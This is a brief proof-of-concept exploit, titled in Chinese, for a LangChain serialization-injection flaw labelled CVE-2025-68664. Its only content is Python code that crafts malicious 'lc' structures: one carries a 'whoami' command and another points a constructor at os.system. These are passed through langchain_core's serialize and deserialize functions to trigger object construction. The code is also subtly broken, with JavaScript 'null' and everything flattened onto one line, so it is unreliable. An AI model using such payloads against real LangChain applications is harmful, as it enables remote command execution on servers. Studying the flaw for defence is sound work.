CVE-2025-68664 LangChain序列化注入漏洞

import langchain_core from langchain_core.messages import HumanMessage # 恶意构造的序列化数据，注入lc结构 malicious_data = { "lc": 1, "id": ["__main__", "MaliciousClass", null], "kwargs": { "command": "whoami" } } # 尝试序列化包含恶意lc结构的数据 try: serialized = langchain_core.dumps(malicious_data) print(f"Serialized: {serialized}") # 反序列化时会将lc结构当作LangChain对象处理 deserialized = langchain_core.loads(serialized) print(f"Deserialized: {deserialized}") except Exception as e: print(f"Error: {e}") # 攻击场景示例 attack_payload = { "user_input": "normal data", "lc": { "serializer": "json", "version": 1, "type": "constructor", "id": ["os", "system"] } } serialized_attack = langchain_core.dumpd(attack_payload)